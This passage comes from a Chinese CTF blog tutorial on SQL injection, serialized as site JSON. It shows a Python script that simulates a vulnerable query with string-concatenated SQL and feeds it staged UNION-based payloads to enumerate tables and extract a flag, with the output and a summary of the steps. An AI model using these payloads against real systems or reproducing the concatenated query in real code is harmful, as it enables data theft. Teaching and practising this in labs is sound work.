query(id_):\n",[30,1192,1193],{"class":32,"line":804},[30,1194,1195],{},"    # 模拟服务端：把参数拼进 SQL 再执行（与漏洞 PHP 代码等价）。\n",[30,1197,1198],{"class":32,"line":810},[30,1199,1200],{},"    cur = conn.cursor()\n",[30,1202,1203],{"class":32,"line":816},[30,1204,1205],{},"    # cursor()：创建游标对象，用于执行 SQL。\n",[30,1207,1208],{"class":32,"line":822},[30,1209,1210],{},"    try:\n",[30,1212,1213],{"class":32,"line":828},[30,1214,1215],{},"        cur.execute(\"SELECT id, title, content FROM articles WHERE id = \" + id_)\n",[30,1217,1218],{"class":32,"line":834},[30,1219,1220],{},"        # execute：执行一条 SQL；这里直接拼接 id_，即注入点。\n",[30,1222,1223],{"class":32,"line":840},[30,1224,1225],{},"        return str(cur.fetchall())\n",[30,1227,1228],{"class":32,"line":846},[30,1229,1230],{},"        # fetchall()：取出全部结果行，str() 转成字符串方便打印。\n",[30,1232,1233],{"class":32,"line":852},[30,1234,1235],{},"    except Exception as e:\n",[30,1237,1238],{"class":32,"line":858},[30,1239,1240],{},"        # 语法错误等异常会走到这里，模拟\"页面报错\"。\n",[30,1242,1243],{"class":32,"line":864},[30,1244,1245],{},"        return \"ERROR: \" + str(e)\n",[30,1247,1248],{"class":32,"line":870},[30,1249,742],{"emptyLinePlaceholder":741},[30,1251,1252],{"class":32,"line":876},[30,1253,1254],{},"print(query(\"1\"))\n",[30,1256,1258],{"class":32,"line":1257},28,[30,1259,1260],{},"print(query(\"1'\"))\n",[30,1262,1264],{"class":32,"line":1263},29,[30,1265,1266],{},"print(query(\"1 AND 1=1\"))\n",[30,1268,1270],{"class":32,"line":1269},30,[30,1271,1272],{},"print(query(\"1 AND 1=2\"))\n",[30,1274,1276],{"class":32,"line":1275},31,[30,1277,1278],{},"print(query(\"1 ORDER BY 3\"))\n",[30,1280,1282],{"class":32,"line":1281},32,[30,1283,1284],{},"print(query(\"-1 UNION SELECT 1,2,3-- \"))\n",[30,1286,1288],{"class":32,"line":1287},33,[30,1289,1290],{},"print(query(\"-1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- \"))\n",[30,1292,1294],{"class":32,"line":1293},34,[30,1295,1296],{},"print(query(\"-1 UNION SELECT 1,flag,3 FROM flag-- \"))\n",[16,1298,1299],{},"运行：",[20,1301,1303],{"className":83,"code":1302,"language":85,"meta":25,"style":25},"python3 sim.py\n",[27,1304,1305],{"__ignoreMap":25},[30,1306,1307,1310],{"class":32,"line":33},[30,1308,1309],{"class":92},"python3",[30,1311,1312],{"class":96}," sim.py\n",[16,1314,1315],{},"实际输出：",[20,1317,1320],{"className":1318,"code":1319,"language":301,"meta":25},[299],"[(1, 'hello', 'world')]\nERROR: unrecognized token: \"'\"\n[(1, 'hello', 'world')]\n[]\n[(1, 'hello', 'world')]\n[(1, 2, 3)]\n[(1, 'articles,flag', 3)]\n[(1, 'flag{sql_injection}', 3)]\n",[27,1321,1319],{"__ignoreMap":25},[16,1323,1324],{},"逐行对应：",[1326,1327,1328,1344],"table",{},[1329,1330,1331],"thead",{},[1332,1333,1334,1338,1341],"tr",{},[1335,1336,1337],"th",{},"输入",[1335,1339,1340],{},"输出",[1335,1342,1343],{},"结论",[1345,1346,1347,1361,1374,1386,1399,1412,1427,1440],"tbody",{},[1332,1348,1349,1355,1358],{},[1350,1351,1352],"td",{},[27,1353,1354],{},"1",[1350,1356,1357],{},"正常记录",[1350,1359,1360],{},"基线",[1332,1362,1363,1368,1371],{},[1350,1364,1365],{},[27,1366,1367],{},"1'",[1350,1369,1370],{},"语法错误",[1350,1372,1373],{},"注入点存在",[1332,1375,1376,1381,1383],{},[1350,1377,1378],{},[27,1379,1380],{},"1 AND 1=1",[1350,1382,1357],{},[1350,1384,1385],{},"条件真",[1332,1387,1388,1393,1396],{},[1350,1389,1390],{},[27,1391,1392],{},"1 AND 1=2",[1350,1394,1395],{},"空",[1350,1397,1398],{},"条件假",[1332,1400,1401,1406,1409],{},[1350,1402,1403],{},[27,1404,1405],{},"1 ORDER BY 3",[1350,1407,1408],{},"正常",[1350,1410,1411],{},"至少 3 列",[1332,1413,1414,1419,1424],{},[1350,1415,1416],{},[27,1417,1418],{},"-1 UNION SELECT 1,2,3",[1350,1420,1421],{},[27,1422,1423],{},"(1, 2, 3)",[1350,1425,1426],{},"3 列且回显",[1332,1428,1429,1432,1437],{},[1350,1430,1431],{},"查 sqlite_master",[1350,1433,1434],{},[27,1435,1436],{},"articles,flag",[1350,1438,1439],{},"表名（SQLite 的元数据表；MySQL 用 information_schema.tables）",[1332,1441,1442,1445,1449],{},[1350,1443,1444],{},"查 flag 表",[1350,1446,1447],{},[27,1448,641],{},[1350,1450,1451],{},"拿到 flag",[11,1453,1455],{"id":1454},"九小结","九、小结",[16,1457,1458,1459,1462],{},"SQL 注入主线：",[68,1460,1461],{},"判断注入点 → UNION 逐层拿数据（列数→库→表→列→数据）→ 盲注兜底 → sqlmap 加速 → 参数化防御","。练完 sqli-labs 前 10 关即可掌握全部内容。",[1464,1465,1466],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}",{"title":25,"searchDepth":39,"depth":39,"links":1468},[1469,1470,1471,1472,1473,1474,1475,1476,1477],{"id":13,"depth":112,"text":14},{"id":74,"depth":112,"text":75},{"id":246,"depth":112,"text":247},{"id":410,"depth":112,"text":411},{"id":650,"depth":112,"text":651},{"id":921,"depth":112,"text":922},{"id":1043,"depth":112,"text":1044},{"id":1107,"depth":112,"text":1108},{"id":1454,"depth":112,"text":1455},"SQL 注入环境搭建、注入点判断、UNION 五步拖库、盲注脚本、sqlmap 自动化、参数化防御。","md",{"date":1481,"image":1482,"alt":1483,"tags":1484,"published":741},"14th Aug 2026","/blogs-img/blog5.png","SQL 注入深入实战",[551,1485,1486,1487],"web","sql注入","example","/blogs/ctf-web-sql-injection-deep-dive",{"title":6,"description":1478},"blogs/14. ctf-web-sql-injection-deep-dive","ayEbnZAfIhYBpMrKx07Y9pgkSt5Y7VQ7rhq2f05H6Ns",1786796568652]